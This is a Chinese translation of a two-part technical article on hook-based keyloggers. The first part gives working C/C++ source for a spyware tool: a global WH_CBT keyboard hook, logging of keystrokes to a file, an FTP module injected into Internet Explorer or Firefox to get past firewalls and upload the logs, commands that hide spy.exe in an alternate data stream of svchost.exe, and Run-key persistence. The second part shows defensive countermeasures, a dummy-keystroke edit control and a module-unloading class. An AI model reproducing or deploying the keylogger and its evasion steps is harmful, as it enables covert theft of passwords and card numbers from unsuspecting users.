键盘间谍:实现与对策






4.83/5 (75投票s)
2005年5月3日
6分钟阅读

470079

15125
一篇关于开发基于钩子的键盘记录器和防钩子软件的文章。
引言
在这篇分为两部分的文章中,我将探讨一个简单的键盘记录器实现,并提出应对它的方法。我希望这篇文章能帮助您了解基于钩子的间谍软件是如何工作的,以及如何更好地保护您的软件免受其侵害。
值得注意的是,键盘记录器也可以在不使用钩子的情况下实现。
背景
基于软件的键盘记录器是严重的安全威胁,因为它们通过捕获按键来监视用户操作。这种监视可能用于恶意目的,例如窃取信用卡号。键盘记录器是木马的常见组成部分,它们在后台安静地运行,并捕获用户在键盘上输入的所有内容。按键被存储在一个隐藏的文件中,该文件通过电子邮件或 FTP 发送给监视者。
第一部分 - 键盘间谍
这是一个简单直接的基于钩子的实现。
键盘间谍架构
键盘间谍由三个模块组成:主模块、钩子过程和 FTP 模块。主模块安装一个全局的 WH_CBT
钩子过程。钩子过程在每次按下键盘按键时向主模块报告。主模块将所有按键记录到一个文件中。当日志文件达到预定大小时,主模块会命令 FTP 模块将日志文件上传到 FTP 服务器。各个模块之间的通信通过窗口消息进行。
主模块窗口过程
///////////////////////////////////////////////////////////////////////////// // // FUNCTION: WndProc(HWND, unsigned, WORD, LONG) // // PURPOSE: Processes messages for the main window. // // MSG_MY_WM_KEYDOWN - Process an application keystroke // MSG_MY_WM_SETFOCUS - Process an application keystroke // MSG_WM_UPLOAD_FILE - Process an FTP Module notification // WM_DESTROY - post a quit message and return // // LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { if (message == MSG_MY_WM_KEYDOWN) return OnInterceptKeyStroke(wParam, lParam); if (message == MSG_MY_WM_SETFOCUS) return OnSetKeyboardFocus(wParam, lParam); if (message == MSG_WM_UPLOAD_FILE) return OnFileUploaded(wParam, lParam); switch (message) { case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; } ///////////////////////////////////////////////////////////////////////////// LRESULT OnInterceptKeyStroke(WPARAM wParam, LPARAM lParam) { //If we are logging a new application we should print an appropriate header if (g_hWinInFocus != g_hLastWin) { WriteNewAppHeader(g_hWinInFocus); g_hLastWin = g_hWinInFocus; } if (wParam==VK_RETURN || wParam==VK_TAB) { WriteToLog('\n'); } else { BYTE keyStateArr[256]; WORD word; UINT scanCode = lParam; char ch; //Translate virtual key code to ascii GetKeyboardState(keyStateArr); ToAscii(wParam, scanCode, keyStateArr, &word, 0); ch = (char) word; if ((GetKeyState(VK_SHIFT) & 0x8000) && wParam >= 'a' && wParam <= 'z') ch += 'A'-'a'; WriteToLog(ch); } return 0; } ///////////////////////////////////////////////////////////////////////////// LRESULT OnSetKeyboardFocus(WPARAM wParam, LPARAM lParam) { g_hWinInFocus = (HWND)wParam; return S_OK; } ///////////////////////////////////////////////////////////////////////////// LRESULT OnFileUploaded(WPARAM wParam, LPARAM lParam) { //Log file was uploaded succesfully if (wParam) { DeleteFile(g_sSpyLogFileName2); } else { char temp[255]; FILE* f1=fopen(g_sSpyLogFileName,"rt"); FILE* f2=fopen(g_sSpyLogFileName2,"at"); while (!feof(f1)) { if (fgets(temp, 255, f1)) { fputs(temp, f2); } } fclose(f1); fclose(f2); MoveFile(g_sSpyLogFileName2, g_sSpyLogFileName); } g_isUploading = false; return S_OK; }
全局 WH_CBT 钩子
系统范围的钩子是一个安装在所有正在运行进程中的函数,用于在消息到达目标窗口过程之前对其进行监视。钩子过程用于监视系统的各种事件,例如按键。您可以通过调用 SetWindowsHookEx
WinAPI 并指定调用该过程的钩子类型来安装一个钩子过程。WH_CBT
钩子过程在窗口获得焦点之前以及在键盘事件从系统消息队列中移除之前被调用。全局钩子过程在桌面所有应用程序的上下文中被调用,因此该过程必须驻留在与安装该过程的应用程序不同的 DLL 中。
DLL 共享内存区域
DLL 共享内存区域是所有 DLL 实例可见的变量。主模块将其窗口句柄存储在钩子过程 DLL 的共享内存区域中,这使得钩子过程的所有实例都能将窗口消息发布回主模块。
钩子过程共享内存区域和导出的函数
////////////////////////////////////////////////////////////////////////// //Shared memory #pragma data_seg(".adshared") HWND g_hSpyWin = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:.adshared,RWS") ////////////////////////////////////////////////////////////////////////// void CALLBACK SetSpyHwnd (DWORD hwnd) { g_hSpyWin = (HWND) hwnd; } ////////////////////////////////////////////////////////////////////////// LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam ) { if (nCode == HCBT_KEYSKIPPED && (lParam & 0x40000000)) { if ((wParam==VK_SPACE)||(wParam==VK_RETURN)|| (wParam==VK_TAB)||(wParam>=0x2f ) &&(wParam<=0x100)) { ::PostMessage(g_hSpyWin, MSG_MY_WM_KEYDOWN, wParam, lParam); } } else if (nCode == HCBT_SETFOCUS) { ::PostMessage(g_hSpyWin, MSG_MY_WM_SETFOCUS, wParam, lParam); if (bInjectFtpDll && ::FindWindow(COMM_WIN_CLASS, NULL) == NULL) { HINSTANCE hFtpDll; Init InitFunc; if (hFtpDll = ::LoadLibrary(FTP_DLL_NAME)) { if (InitFunc = (Init) ::GetProcAddress (hFtpDll,"Init")) { (InitFunc)((DWORD)g_hSpyWin); } } bInjectFtpDll = false; } } return CallNextHookEx( 0, nCode, wParam, lParam); }
主模块 InstallHook
函数
typedef LRESULT (CALLBACK *HookProc)(int nCode, WPARAM wParam, LPARAM lParam); typedef void (WINAPI *SetSpyHwnd)(DWORD); HMODULE g_hHookDll = NULL; HHOOK g_hHook = NULL; bool InstallHook(HWND hwnd) { SetSpyHwnd SetHwndFunc; HookProc HookProcFunc; if (g_hHookDll = LoadLibrary(SPY_DLL_NAME)) { if (SetHwndFunc = (SetSpyHwnd) ::GetProcAddress (g_hHookDll,"SetSpyHwnd")) { //Store Main Module HWND in to the shared memory (SetHwndFunc)((DWORD)hwnd); if (HookProcFunc = (HookProc) ::GetProcAddress (g_hHookDll,"HookProc")) { if (g_hHook = SetWindowsHookEx(WH_CBT, HookProcFunc, g_hHookDll, 0)) return true; } } } return false; }
隐匿性
间谍程序必须隐藏其踪迹以防止被检测到。隐匿技术必须应用于三个主要领域:文件系统、任务管理器和防火墙。为所有二进制文件分配良性的文件名至关重要。为了清晰起见,我保留了“可疑”的文件名。
任务管理器隐匿性
ADS 是 NTFS 的一项功能,允许将文件数据分叉到现有文件中,而不会影响其功能、大小或在 Windows 资源管理器等文件浏览工具中的显示。带有 ADS 的文件几乎不可能通过本地文件浏览技术检测到。一旦注入,ADS 就可以使用传统的命令(如 type)来执行。启动时,ADS 可执行文件将显示为原始文件运行 - 对于 Windows 任务管理器等进程查看器来说几乎无法检测。使用此方法,不仅可以隐藏文件,还可以隐藏非法进程的执行。如果您使用 NTFS,几乎不可能原生保护您的系统免受 ADS 隐藏文件的侵害。使用备用数据流(ADS)的功能无法禁用,目前也无法限制用户已访问文件的此功能。出于清晰起见,演示设置不使用备用数据流(ADS)。
您可以使用以下示例手动使用 ADS
Inject spy.exe to svchost.exe
"type spy.exe > c:\windows\system32\svchost.exe:spy.exe"
Run spy.exe
"start svchost.exe:spy.exe"
防火墙隐匿性
大多数防火墙软件会检测并阻止未经授权的程序连接到 Internet。主模块使用 FTP 模块将日志文件上传到 FTP 服务器。通过将 FTP 模块 DLL 注入到另一个已安装的应用程序中来实现防火墙隐匿性。DLL 注入意味着强制一个不知情的正在运行的进程接受一个它从未请求过的 DLL 文件。我选择将 FTP 模块注入到 Internet Explorer 或 FireFox 中。DLL 注入可以欺骗大多数防火墙软件,特别是当 FTP 服务器侦听端口 80(HTTP 端口)时。钩子过程 DLL 由 SetWindowsHookEx
自动加载到所有正在运行的进程中,它会检查是否在 Internet Explorer 或 FireFox 中加载,并加载(LoadLibrary
)FTP 模块 DLL。在 DllMain
中调用 LoadLibrary
是禁止的,因此 DllMain
设置一个布尔变量,该变量会导致钩子过程调用 LoadLibrary
。
钩子过程模块 DllMain
。
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { char processName[255]; GetModuleFileName(GetModuleHandle( NULL ), processName, sizeof(processName) ); strcpy(processName, _strlwr(processName)); if (strstr(processName, "iexplore.exe") || strstr(processName, "firefox.exe")) bInjectFtpDll = true; break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
启动
将间谍程序添加到以下注册表项将在启动时运行它:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run。
演示设置程序将 spy.exe 添加为一个新的注册表值。
第二部分 - 对抗键盘间谍
在本节中,我将演示两种简单的技术,可以保护您的应用程序免受基于钩子的间谍的侵害。
防间谍密码编辑控件
防间谍编辑控件为用户的每一次击键生成一个随机的模拟击键序列。间谍程序将捕获用户按键和伪按键,使其难以甚至不可能检索实际输入的文本。用户输入被存储在一个成员变量中,该变量可以轻松地被使用编辑控件的应用程序访问。伪按键使用 SendInput
WinAPI 生成。我实现了一个 MFC 控件和一个 .NET 控件。
安全编辑控件假设 SendInput
生成的击键速度比用户快。这可能会导致安全编辑在较慢的机器上返回错误的输入数据,尤其是在使用 C# 实现时。
MFC CSafeEdit
void CSafeEdit::OnKeyUp(UINT nChar, UINT nRepCnt, UINT nFlags) { if (nChar == VK_SHIFT || nChar == VK_CONTROL || nChar == VK_MENU) return; if (nChar == VK_DELETE || nChar == VK_BACK) { SetWindowText(""); m_sRealText = ""; return; } if (m_state == 0) { m_iDummyKeyStrokesCount = SendDummyKeyStrokes(); m_state = 1; CString text; GetWindowText(text); m_sRealText += text.Right(1); } else { if (m_state++ >= m_iDummyKeyStrokesCount) m_state = 0; } CEdit::OnKeyUp(nChar, nRepCnt, nFlags); } ///////////////////////////////////////////////////////////////////////////// CString CSafeEdit::GetRealText() { return m_sRealText; } ///////////////////////////////////////////////////////////////////////////// int CSafeEdit::SendDummyKeyStrokes() { srand((unsigned)::GetTickCount()); int iKeyStrokeCount = rand() % 5 + 1; int key; INPUT inp[2]; inp[0].type = INPUT_KEYBOARD; inp[0].ki.dwExtraInfo = ::GetMessageExtraInfo(); inp[0].ki.dwFlags = 0; inp[0].ki.time = 0; for (int i=0; i < iKeyStrokeCount; i++) { key = rand() % ('Z'-'A') + 'A'; inp[0].ki.wScan = key; inp[0].ki.wVk = key; inp[1] = inp[0]; inp[1].ki.dwFlags = KEYEVENTF_KEYUP; SendInput(2, inp, sizeof(INPUT)); } return iKeyStrokeCount; }
C# SafeEdit
public struct KEYDBINPUT
{
public Int16 wVk;
public Int16 wScan;
public Int32 dwFlags;
public Int32 time;
public Int32 dwExtraInfo;
public Int32 __filler1;
public Int32 __filler2;
}
public struct INPUT
{
public Int32 type;
public KEYDBINPUT ki;
}
[DllImport("user32")] public static extern int
SendInput( int cInputs, ref INPUT pInputs, int cbSize );
protected void OnKeyUp(object sender,
System.Windows.Forms.KeyEventArgs e)
{
if (e.KeyData == Keys.ShiftKey || e.KeyData ==
Keys.ControlKey || e.KeyData == Keys.Alt)
return;
if (e.KeyData == Keys.Delete || e.KeyData == Keys.Back)
{
Text = "";
m_sRealText = "";
return;
}
if (m_state == 0)
{
m_iDummyKeyStrokesCount = SendDummyKeyStrokes();
m_state = 1;
m_sRealText += Text[Text.Length-1];
}
else
{
if (m_state++ >= m_iDummyKeyStrokesCount)
m_state = 0;
}
}
public int SendDummyKeyStrokes()
{
short key;
Random rand = new Random();
int iKeyStrokeCount = rand.Next(1, 6);
INPUT inputDown = new INPUT();
inputDown.type = INPUT_KEYBOARD;
inputDown.ki.dwFlags = 0;
INPUT inputUp = new INPUT();
inputUp.type = INPUT_KEYBOARD;
inputUp.ki.dwFlags = KEYEVENTF_KEYUP;
for (int i=0; i < iKeyStrokeCount; i++)
{
key = (short) rand.Next('A', 'Z');
inputDown.ki.wVk = key;
SendInput( 1, ref inputDown, Marshal.SizeOf( inputDown ) );
inputUp.ki.wVk = key;
SendInput( 1, ref inputUp, Marshal.SizeOf( inputUp ) );
}
return iKeyStrokeCount;
}
SpyRemover 类
基于钩子的间谍程序依赖于其钩子过程 DLL。从应用程序进程中移除(FreeLibrary
)钩子 DLL 将禁用间谍程序监视该应用程序按键的能力。演示的防钩子应用程序使用 SpyRemover
类来移除钩子 DLL 文件。SpyRemover
构造函数接收一个“授权模块”列表。如果一个模块被加载到应用程序进程中且未出现在此列表中,则该模块被视为未经授权。SpyRemover
通过枚举应用程序进程的所有模块来检测未经授权的模块。
VOID SpyRemover::TimerProc(HWND hwnd, UINT uMsg, unsigned int idEvent, DWORD dwTime) { m_SpyRemover->EnumModules(); } ////////////////////////////////////////////////////////////////// SpyRemover::SpyRemover(char* szAuthorizedList) { m_SpyRemover = this; m_szAuthorizedList = " "; m_szAuthorizedList += szAuthorizedList; m_szAuthorizedList += " "; m_szAuthorizedList.MakeLower(); ::SetTimer(NULL, 0, 500, TimerProc); } ////////////////////////////////////////////////////////////////////// void SpyRemover::EnumModules() { DWORD dwPID = ::GetCurrentProcessId(); HANDLE hModuleSnap = INVALID_HANDLE_VALUE; MODULEENTRY32 me32; //Take a snapshot of all modules in the process. hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, dwPID ); if( hModuleSnap == INVALID_HANDLE_VALUE ) return; me32.dwSize = sizeof( MODULEENTRY32 ); //Retrieve information about the first module (application.exe) if( !Module32First( hModuleSnap, &me32 ) ) { CloseHandle( hModuleSnap ); return; } //Walk the module list of the process do { if (!IsModuleAuthorized(me32.szModule)) { HMODULE hmodule = me32.hModule; CloseHandle(hModuleSnap); FreeLibrary(hmodule); return; } } while( Module32Next( hModuleSnap, &me32 ) ); CloseHandle(hModuleSnap); } ////////////////////////////////////////////////////////////////////// bool SpyRemover::IsModuleAuthorized(char* szModuleName) { char szModule[1024]; sprintf(szModule, " %s ", szModuleName); strcpy(szModule, _strlwr(szModule)); if (strstr(m_szAuthorizedList, szModule)) return true; else return false; }
有用工具
由 Sysinternals 开发的 Process Explorer。
免责声明
本作品按“原样”提供。作者不对本作品作任何明示或暗示的保证,包括对其适销性或特定用途适用性的保证。